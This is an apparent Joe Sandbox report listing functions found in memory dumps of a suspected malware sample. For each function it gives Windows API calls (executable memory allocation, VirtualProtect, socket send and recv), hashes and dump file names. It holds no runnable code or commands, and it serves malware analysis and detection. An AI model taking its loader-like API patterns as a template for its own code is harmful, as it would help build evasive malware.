Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction ID: f86d798d442288df0e099431c712f1cdbed5da6d4770a056b1c254158006f616
Opcode Fuzzy Hash: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction Fuzzy Hash: DCE0E670D8A30CFBE7105BA19D0AB4D77689B04B15F101156F709BA5D0D6B92640565D

Function 61E33F01 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 61E33FB1

Strings

winRead, xrefs: 61E33FF4

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction ID: 0463a8294cdaeeb391ba6f45b5ad466d8cdf6662135ec028d0205bc88dba3c8e
Opcode Fuzzy Hash: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction Fuzzy Hash: 2041E475A052699BCF04CFA8D88498EBBF2FF88314F618529E868A7354D730E941CB91

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction ID: 960187402ee01aff1aca01ef16381d87fa4c626a1601440f33a421b94010635f
Opcode Fuzzy Hash: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction Fuzzy Hash: D6213374A04208EFDB04CF88D544BADBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 61E354D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,61ECC400,?,61E35248), ref: 61E354EB

Strings

HRa, xrefs: 61E3554C

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: InfoSystem
String ID: HRa
API String ID: 31276548-1004199025
Opcode ID: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction ID: 06cda1940385b8855eb11c4b22b944da250b3e82bd825487f891a332eec36e05
Opcode Fuzzy Hash: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction Fuzzy Hash: 56F03AB02083419BD704AFA4C60631FBAF5AFC6B09F66C82DD1858B380CB75D8559B93

Function 00408730 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040873C

Part of subcall function 0041DC60: std::exception::exception.LIBCMT ref: 0041DC75
Part of subcall function 0041DC60: __CxxThrowException@8.LIBCMT ref: 0041DC8A
Part of subcall function 0041DC60: std::exception::exception.LIBCMT ref: 0041DC9B

Strings

invalid string position, xrefs: 00408737

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position
API String ID: 1823113695-1799206989
Opcode ID: 600c372ad1c59634127aa8bf111a58be0f2bad7fb127f11ae44505ed1f5e2d82
Instruction ID: a47d9bb3876b0a217528fc2bc99e1a9d46a6e57d1d6807475af5eb99fd23e5f0
Opcode Fuzzy Hash: 600c372ad1c59634127aa8bf111a58be0f2bad7fb127f11ae44505ed1f5e2d82
Instruction Fuzzy Hash: 79B092B1A4921C660614AA86AD4786AB66CC501A14F50029EB80853741A8E62D5091EA

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction ID: fd8884a5b4d1e95754380b5432cffff504e2d4d7245242e6cdc6148b35b0e1b4
Opcode Fuzzy Hash: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction Fuzzy Hash: 816127B4900209DFCB14CF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 6C8E2A70 Relevance: 3.1, APIs: 2, Instructions: 91networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000000,?,?), ref: 6C8E2B23
WSAGetLastError.WS2_32 ref: 6C8E2B30

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLastgetaddrinfo
String ID:
API String ID: 4160901379-0
Opcode ID: 3656f47c4dc275d1017a92a307b43f00e93ce48f0b6799088032e74f43892faa
Instruction ID: d6a20c70e0ccb8ab95db0996383407002c09c9b04ec5aff87f228cae725c0aa1
Opcode Fuzzy Hash: 3656f47c4dc275d1017a92a307b43f00e93ce48f0b6799088032e74f43892faa
Instruction Fuzzy Hash: 9B31737490530ADFDB20DF54CA84BDEB7F8EF4A354F518469E848A7740E335AA84CBA0

Function 6C8DC7B0 Relevance: 3.0, APIs: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,7FFFFFFF,00000000), ref: 6C8DC7D2
WSAGetLastError.WS2_32 ref: 6C8DC7DD

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 04bff5da1e40c2868852d3e09dcc2a3acef5e515a84deb22fd79d3c8400dc718
Instruction ID: eff8608316cf01b89004857c2dc137eb5821e20a8217184847d86e2730717794
Opcode Fuzzy Hash: 04bff5da1e40c2868852d3e09dcc2a3acef5e515a84deb22fd79d3c8400dc718
Instruction Fuzzy Hash: D1F05E717042549FCB209FB8D80465A7BE9EB46774F208A2DFA7AC77D0DB31A8408B51

Function 6C8DC710 Relevance: 3.0, APIs: 2, Instructions: 30networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,00000004,00000004), ref: 6C8DC72F
WSAGetLastError.WS2_32(?,00000004,00000020), ref: 6C8DC73C

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID:
API String ID: 1729277954-0
Opcode ID: 489a0f3313880f2720b58f1093f44e09b76df7dbefcf703ce3083cd60e005c96
Instruction ID: 954578be474625728c8138c4a969792ffdd508ec2d6ee9ac6d9c33d020d2c8ac
Opcode Fuzzy Hash: 489a0f3313880f2720b58f1093f44e09b76df7dbefcf703ce3083cd60e005c96
Instruction Fuzzy Hash: F3F0BE70604344ABDB248F68C858BCB7BE49F0A328F10845DFAAAC7381D371E5448791

Function 6C8DC760 Relevance: 3.0, APIs: 2, Instructions: 28networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,7FFFFFFF,00000000), ref: 6C8DC782
WSAGetLastError.WS2_32(?,?,6C8AB35F,?,?,?,?), ref: 6C8DC791

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: d022ed9b1ed3311683ae03400458a67b9d04d8809bad994c4f5025f2226b31d6
Instruction ID: ffb1bd881d7d8ed17f637a38f4d721ac9cd99f655af2e92ac89b174f9e114ce3
Opcode Fuzzy Hash: d022ed9b1ed3311683ae03400458a67b9d04d8809bad994c4f5025f2226b31d6
Instruction Fuzzy Hash: 8AF08C312042449FDB208F68C80465A7BE9AF0B338F308A1DF879C76D1CB31E8148B92

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction ID: 7de8415141d8ede1392e5156f4839a36e98c975bb62c62673ce2cce929d499c4
Opcode Fuzzy Hash: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction Fuzzy Hash: 9ED05E74D0530DABCB04DFE09D496DDBB79BB0C315F041656DD0572240EA305441CA66

Function 0040B4C0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040B992
lstrlenA.KERNEL32(00000000), ref: 0040B9A6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: e02e9c82d219cfe3a0d2f4dca40aab7f218033f3be4bbddb0880e8fccce26e7c
Instruction ID: 2255bc3e1aae02863dcd83073914f46634cd1c5da6bc7bd4c07d15e0a17c61c2
Opcode Fuzzy Hash: e02e9c82d219cfe3a0d2f4dca40aab7f218033f3be4bbddb0880e8fccce26e7c
Instruction Fuzzy Hash: BAE14672A111189BCB04FBA1DD66EEE7339AF14314F40459EF10672095EF387B98CB6A

Function 0040AEC0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B13A
lstrlenA.KERNEL32(00000000), ref: 0040B14E

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 69d253821d97da2bd3b4e18577819e0005f4e7ca02a0288c6efa5dc2b731e2e5
Instruction ID: b118e420acb74f1bad9678fc0f4fca3608bd39bb9752133bd9c886ddfd0b535b
Opcode Fuzzy Hash: 69d253821d97da2bd3b4e18577819e0005f4e7ca02a0288c6efa5dc2b731e2e5
Instruction Fuzzy Hash: A8916672A151089BCB04FBA1DC66DEE7339AF14314F40456FF10663195EF387A98CB6A

Function 0040B200 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B3FE
lstrlenA.KERNEL32(00000000), ref: 0040B412

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: dd1a26b65a0f196927a5ab1d01b3a997224839d946b3470995d6560889411a2b
Instruction ID: df39fec182a976cf14ea74314fd1cc2d61bc45c83f0c5b543270b10835f39725
Opcode Fuzzy Hash: dd1a26b65a0f196927a5ab1d01b3a997224839d946b3470995d6560889411a2b
Instruction Fuzzy Hash: B4715271A111089BCB04FBA1DCA6DEE733AAF14314F40456FF50267195EF387A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
